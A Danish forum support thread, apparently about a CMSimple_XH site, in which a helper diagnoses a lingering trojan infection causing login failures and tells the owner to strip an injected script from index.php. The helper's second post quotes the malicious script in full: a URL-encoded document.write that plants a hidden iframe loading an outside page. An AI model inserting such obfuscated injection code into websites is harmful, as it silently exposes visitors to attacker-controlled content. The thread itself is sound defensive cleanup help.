Efter et ´angreb´ af en trojansk hest, og efterfølgende rensning, kan jeg lige pludselig ikke login på min hjemmeside www.topfyn.dk
Jeg får fejlkoden: Fejl 401: - Uauthoriseret - hvilket betyder at jeg er nægtet adgang til Serveren.
Hvordan kan man afhjælpe denne fejl?
Hilsen
Erdo
Login problemer
Moderator: ZiPs
Re: Login problemer
Hej Erdo,
Undskyld, jeg har dårlige nyheder! Den trojanske hest er ikke fjernes! Tag et kig på din HTML-kildekoden:
Dette indsætter et IFrame!
Christoph
Undskyld, jeg har dårlige nyheder! Den trojanske hest er ikke fjernes! Tag et kig på din HTML-kildekoden:
Code: Select all
<Script Language='Javascript'>
<!--
document.write(unescape('%3C%64%69%76%20%73%74%79%6C%65%3D%27%70%6F%73%69%74%69%6F%6E%3A%20%61%62%73%6F%6C%75%74%65%3B%20%6C%65%66%74%3A%2D%39%33%25%3B%20%74%6F%70%3A%33%25%3B%20%77%69%64%74%68%3A%36%39%25%3B%20%68%65%69%67%68%74%3A%36%39%25%3B%27%3E%3C%69%66%72%61%6D%65%20%73%74%79%6C%65%3D%27%77%69%64%74%68%3A%36%39%25%3B%68%65%69%67%68%74%3A%36%39%25%27%20%77%69%64%74%68%3D%27%39%38%25%27%20%73%63%72%6F%6C%6C%69%6E%67%3D%27%6E%6F%27%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%27%6E%6F%27%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%27%30%27%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%27%30%27%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%34%35%75%2E%68%6B%2E%6D%73%2F%69%6E%64%65%78%2E%70%68%70%27%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%64%69%76%3E%0A'));
//-->
</Script><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
Christoph
Christoph M. Becker – Plugins for CMSimple_XH
Re: Login problemer
Hi Christoph
Uha, Uha - hvor skal en amatør som jeg, indsætte hele den kode, når jeg ikke kan få adgang til min side?
Erdo
Uha, Uha - hvor skal en amatør som jeg, indsætte hele den kode, når jeg ikke kan få adgang til min side?
Erdo
Re: Login problemer
Hi Christoph
Kildekoden er nu fundet, men jeg har ikke forstand på hvordan du kan se at den trojanske ikke er fjernet, men hvad skal jeg gøre for at få den fjernet?
HTML-koden er det alt det der står i linien med tal og % tegnene? - Hvis hvad skal der stå istedet for?
HJÆLP - jeg er en simpel amatør.
Erdo
Kildekoden er nu fundet, men jeg har ikke forstand på hvordan du kan se at den trojanske ikke er fjernet, men hvad skal jeg gøre for at få den fjernet?
HTML-koden er det alt det der står i linien med tal og % tegnene? - Hvis hvad skal der stå istedet for?
HJÆLP - jeg er en simpel amatør.
Erdo
Re: Login problemer
Hej Erdo,
Jeg gætter på den skadelige kode i index.php. Fjern script fra denne fil. index.php bør kun indeholde:
Jeg er ikke sikker, hvis dette er nok. Den malware kunne have smittet andre dele af din hjemmeside, og endda din pc. Jeg kunne ikke finde mere information på internettet.
Men hvis script-kode, vil blive fjernet, sandsynligvis login vil arbejde igen.
Og undskyld for mit dårlige dansk. Alt er udført med translate.google.com.
Christoph
Du kan dekryptere dette med http://www.web-code.org/coding-tools/ja ... -tool.htmlErdo wrote:HTML-koden er det alt det der står i linien med tal og % tegnene?
Jeg gætter på den skadelige kode i index.php. Fjern script fra denne fil. index.php bør kun indeholde:
Code: Select all
<?php @include('./cmsimple/cms.php'); ?>
Men hvis script-kode, vil blive fjernet, sandsynligvis login vil arbejde igen.
Og undskyld for mit dårlige dansk. Alt er udført med translate.google.com.
Christoph
Christoph M. Becker – Plugins for CMSimple_XH
Re: Login problemer
Hi Christoph
Mange tak for dit løsningsforslag fsv. angår index.php - det virkede 100% og jeg har nu fået fuld adgang til min hjemmeside www.topfyn.dk.
Mht til dit dansk syntes jeg du kan være stolt over at du kan oversætte mine spørgsmål, jeg kender jo ikke din nationalitet, men mange tak for hjælpen.
Mvh
Erdo
Mange tak for dit løsningsforslag fsv. angår index.php - det virkede 100% og jeg har nu fået fuld adgang til min hjemmeside www.topfyn.dk.
Mht til dit dansk syntes jeg du kan være stolt over at du kan oversætte mine spørgsmål, jeg kender jo ikke din nationalitet, men mange tak for hjælpen.
Mvh
Erdo